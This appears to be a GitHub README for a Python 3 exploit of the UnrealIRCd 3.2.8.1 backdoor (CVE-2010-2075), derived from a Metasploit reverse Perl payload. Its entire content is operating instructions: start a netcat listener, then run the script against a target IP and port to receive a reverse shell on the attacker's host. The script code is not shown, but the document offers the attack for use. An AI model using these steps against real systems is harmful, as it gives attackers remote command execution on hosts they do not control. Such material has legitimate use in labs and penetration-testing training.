chancej715/unrealircd-3.2.8.1-backdoor-command-executionPython exploit for UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) delivering a reverse shell via Netcat listener.
UnrealIRCd 3.2.8.1 backdoor command execution exploit in Python 3 (CVE-2010-2075).
UnrealIRCd version 3.2.8.1 contains a trojan horse which allows remote attackers to execute arbitrary commands (CVE-2010-2075).
I referenced the Metasploit payload payload/cmd/unix/reverse_perl to make this script.
Start a Netcat listener on the listening host:
nc -lp 4444
Execute the script, providing the following positional arguments:
python3 script.py <target> <tport> <listener> <lport>
<target> Target host IP address.<tport> Target host port number.<listener> Listening host IP address.<lport> Listening host port number.Setup a Netcat listener on your local machine:
nc -lp 4444
Run the script against a target machine at 192.168.1.3 TCP port 6697:
python3 script.py 192.168.1.3 6697 192.168.1.2 4444
Wait a minute and the Netcat listener should receive a reverse shell.